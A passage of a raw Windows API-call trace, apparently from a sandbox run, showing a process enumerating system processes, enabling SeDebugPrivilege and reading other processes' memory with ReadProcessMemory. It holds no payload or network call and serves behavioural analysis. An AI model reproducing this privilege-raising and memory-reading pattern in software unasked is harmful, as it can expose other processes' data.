dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.856] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.869] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcc0) returned 0x16c [0280.869] GetLastError () returned 0x0 [0280.871] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.871] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x30a6ba5018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.871] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.871] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cfba803670, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.871] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cfba8032b4, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.873] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.874] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.874] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x30a6ba5020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.874] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cfba802c20, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.874] malloc (_Size=0xda) returned 0x20abc284e70 [0280.875] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cfba80330a, lpBuffer=0x20abc284e70, nSize=0xd8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0280.875] free (_Block=0x20abc284e70) [0280.876] CloseHandle (hObject=0x16c) returned 1 [0280.876] _ui64tow_s (in: _Value=0xcfc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3324") returned 0x0 [0280.911] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3324") returned 4 [0280.913] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.913] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.927] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcfc) returned 0x16c [0280.927] GetLastError () returned 0x0 [0280.928] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.929] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xfde7f0a018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.929] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.929] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e24fa41e70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.929] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e24fa41a58, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.931] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.932] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.932] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xfde7f0a020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.932] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e24fa41440, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.933] malloc (_Size=0xf0) returned 0x20abc284e70 [0280.933] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e24fa41a98, lpBuffer=0x20abc284e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0280.934] free (_Block=0x20abc284e70) [0280.934] CloseHandle (hObject=0x16c) returned 1 [0280.935] _ui64tow_s (in: _Value=0xd18, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3352") returned 0x0 [0280.938] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3352") returned 4 [0280.939] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.939] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.980] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd18) returned 0x16c [0280.980] GetLastError () returned 0x0 [0280.982] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.982] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6175995018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.982] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.982] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b5f2d71e70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.982] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b5f2d71a58, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.984] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.985] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.985] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6175995020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.985] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b5f2d71440, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.985] malloc (_Size=0xf0) returned 0x20abc284e70 [0280.985] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b5f2d71a98, lpBuffer=0x20abc284e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0280.987] free (_Block=0x20abc284e70) [0280.987] CloseHandle (hObject=0x16c) returned 1 [0280.991] free (_Block=0x20abc286d60) [0280.992] malloc (_Size=0x48) returned 0x20abc27cb20 [0280.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd390 | out: lpSystemTimeAsFileTime=0x2dc22fd390*(dwLowDateTime=0x6340d015, dwHighDateTime=0x1d9eb0c)) [0280.993] SetEvent (hEvent=0x248) returned 1 [0281.048] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abc402180 [0281.048] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abc402180, pulNumLanguages=0x2dc22fdde0 | out: pulNumLanguages=0x2dc22fdde0) returned 1 [0281.048] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402180) returned 1 [0281.048] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402140) returned 1 [0281.095] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0283.531] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0285.673] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0287.956] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0288.659] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0288.694] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0288.695] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc22fdd38, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc22fdc30 | out: pulNumLanguages=0x2dc22fdd38, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc22fdc30) returned 1 [0288.695] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402380 [0288.695] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0288.697] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc22fdd38, pwszLanguagesBuffer=0x20abc402380, pcchLanguagesBuffer=0x2dc22fdc30 | out: pulNumLanguages=0x2dc22fdd38, pwszLanguagesBuffer=0x20abc402380, pcchLanguagesBuffer=0x2dc22fdc30) returned 1 [0288.697] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402150 [0288.697] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402380) returned 1 [0288.697] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba93990 [0288.698] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba93990, pulNumLanguages=0x2dc22fdd38 | out: pulNumLanguages=0x2dc22fdd38) returned 1 [0288.698] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba93990) returned 1 [0288.704] malloc (_Size=0xb0) returned 0x20abc2867b0 [0288.704] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb201b0000 [0288.705] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="RtlInitUnicodeString") returned 0x7ffb201cced0 [0288.705] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="RtlFreeUnicodeString") returned 0x7ffb201cc680 [0288.705] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffb20257f10 [0288.705] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffb20257630 [0288.705] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtCreateFile") returned 0x7ffb202557e0 [0288.706] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQuerySystemInformation") returned 0x7ffb20255400 [0288.706] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryDirectoryObject") returned 0x7ffb202572f0 [0288.706] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryObject") returned 0x7ffb20254f40 [0288.706] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtOpenDirectoryObject") returned 0x7ffb20255840 [0288.706] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryInformationProcess") returned 0x7ffb20255060 [0288.706] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryInformationToken") returned 0x7ffb20255160 [0288.707] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtOpenFile") returned 0x7ffb202553a0 [0288.707] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtClose") returned 0x7ffb20254f20 [0288.707] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtFsControlFile") returned 0x7ffb20255460 [0288.707] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffb20255660 [0288.709] malloc (_Size=0x18) returned 0x20abc281aa0 [0288.709] GetCurrentThread () returned 0xfffffffffffffffe [0288.709] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x2dc22fd320 | out: TokenHandle=0x2dc22fd320*=0x16c) returned 1 [0288.709] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2dc22fd35c | out: lpLuid=0x2dc22fd35c*(LowPart=0x14, HighPart=0)) returned 1 [0288.714] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0288.714] AdjustTokenPrivileges (in: TokenHandle=0x16c, DisableAllPrivileges=0, NewState=0x2dc22fd358*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0288.714] GetLastError () returned 0x0 [0288.714] CloseHandle (hObject=0x16c) returned 1 [0288.714] malloc (_Size=0x8000) returned 0x20abc286d60 [0288.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0288.717] free (_Block=0x20abc286d60) [0288.719] malloc (_Size=0x10000) returned 0x20abc286d60 [0288.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0288.723] free (_Block=0x20abc286d60) [0288.724] malloc (_Size=0x18000) returned 0x20abc286d60 [0288.725] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0288.737] free (_Block=0x20abc286d60) [0288.737] malloc (_Size=0x20000) returned 0x20abc286d60 [0288.737] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0x0 [0288.739] _ui64tow_s (in: _Value=0x0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0288.745] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="0") returned 1 [0288.746] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x201d2958, dwBuildNumber=0x7ffb, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0288.747] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0288.763] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0288.764] CloseHandle (hObject=0x0) returned 0 [0288.764] _ui64tow_s (in: _Value=0x4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0288.770] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4") returned 1 [0288.771] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0288.771] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0288.789] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0288.789] CloseHandle (hObject=0x0) returned 0 [0288.790] _ui64tow_s (in: _Value=0x138, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="312") returned 0x0 [0288.794] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="312") returned 3 [0288.795] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0288.795] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0288.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x138) returned 0x0 [0288.815] CloseHandle (hObject=0x0) returned 0 [0288.816] _ui64tow_s (in: _Value=0x180, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0288.837] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="384") returned 3 [0288.838] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0288.838] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0288.854] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0288.855] CloseHandle (hObject=0x0) returned 0 [0288.855] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0288.859] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="444") returned 3 [0288.860] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0288.860] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0288.876] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0288.876] CloseHandle (hObject=0x0) returned 0 [0288.877] _ui64tow_s (in: _Value=0x1c8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="456") returned 0x0 [0288.881] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="456") returned 3 [0288.909] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0288.909] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0288.926] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0288.926] CloseHandle (hObject=0x0) returned 0 [0288.927] _ui64tow_s (in: _Value=0x1fc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="508") returned 0x0 [0288.933] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="508") returned 3 [0288.934] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0288.934] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0288.976] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1fc) returned 0x16c [0288.976] GetLastError () returned 0x0 [0288.978] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0288.978] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x73520ea018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0288.978] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0288.978] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea716a0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0288.978] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea713b0, lpBuffer=0x2dc22fc240, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0288.980] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0288.982] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0288.982] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x73520ea020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0288.982] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea70d90, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0288.982] malloc (_Size=0x1c) returned 0x20abc2a9e80 [0288.983] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c5bea713f2, lpBuffer=0x20abc2a9e80, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a9e80*, lpNumberOfBytesRead=0x0) returned 1 [0288.983] free (_Block=0x20abc2a9e80) [0288.983] CloseHandle (hObject=0x16c) returned 1 [0288.984] _ui64tow_s (in: _Value=0x214, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="532") returned 0x0 [0288.988] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="532") returned 3 [0288.989] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, 